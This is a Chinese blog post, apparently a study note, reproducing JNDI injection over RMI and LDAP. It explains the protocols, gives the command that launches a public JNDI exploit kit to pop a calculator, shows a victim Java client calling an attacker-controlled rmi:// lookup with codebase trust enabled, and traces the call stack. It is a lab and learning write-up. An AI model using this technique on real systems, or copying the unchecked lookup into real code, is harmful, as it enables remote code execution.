0%

RMI,LDAP jndi注入

之前一直不理解这个jndi到底是啥,一堆java的协议看得很糊涂不知啥用,今天仔细来看看结合工具利用jndi注入

概念

RMI

这个之前接触过,就是一个java jvm的rpc实现,可以进行远程调用,这里补个图,网图随便找的

这个client调用的结构在调试代码找jndi工具利用之后源码中的sink点的时候很有帮助

ldap

维基百科的解释

轻型目录访问协议是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。 目录服务在开发内部网和与互联网程序共享用户、系统、网络、服务和应用的过程中占据了重要地位。例如,目录服务可能提供了组织有序的记录集合,通常有层级结构,例如公司电子邮件目录。

简单理解它就是一个为了目录数据库协议,主要就是为了方便查询,浏览,搜索。

但是在利用方式上和rmi一样,通过利用工具可以很方便的起rmi和ladp服务。

复现

首先需要一些工具

  • jndi利用工具

    这个其实是修改版,加了一些bypass的选项

    https://github.com/pimps/JNDI-Exploit-Kit

    原版是改项目的fork仓库

    直接下他的jar包就好,我懒得maven编译一遍

  • 服务端

    jndi利用工具的作用就是让我们不用自己手动用代码搭建rmi服务端/ ladp服务端和http服务器了

    它会在本机起http服务和rmi服务和ladp服务,根据你的命令构造恶意的类编译过字节码。

    直接使用

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C gnome-calculator

    -C 是填写需要命令,具体的命令参数在github有

  • 客户端(受害者)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import javax.naming.InitialContext;

    public class jndiTest {
    public static void main(String[] args) throws Exception{
    // 我的jdk版本是1.8.0_171,所以需要加这个信任codeBase
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    InitialContext ctx = new InitialContext();
    Object obj = ctx.lookup("rmi://192.168.100.103:1099/0uvgtw");
    }
    }

    可以看到lookup这里是source点,这里引入了不安全远程调用,这里也可以看到漏洞利用的条件需要lookup的参数可控

    另一个利用的限制就是,关于jdk的版本,这里贴一个师傅做的版本信息图,我一开始jdk版本1.8.0_282是没法触发这个漏洞的

​ 运行代码弹出计算器,复现成功

注入原理

根据师傅的步骤走一下,我源码阅读还是太菜了

调用的堆栈

进入RegisterContext函数

返回来之后return,继续step over,到var3的lookup处进入

一路step over然后找到decodeObject进入

跟进一路step over,直到getObjectInstance进入

执行载入类,到这里就完成了代码的执行

这里我有个疑惑就是为什么loadclass之后恶意的代码就自动执行了

参考

https://xz.aliyun.com/t/6633#toc-5

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html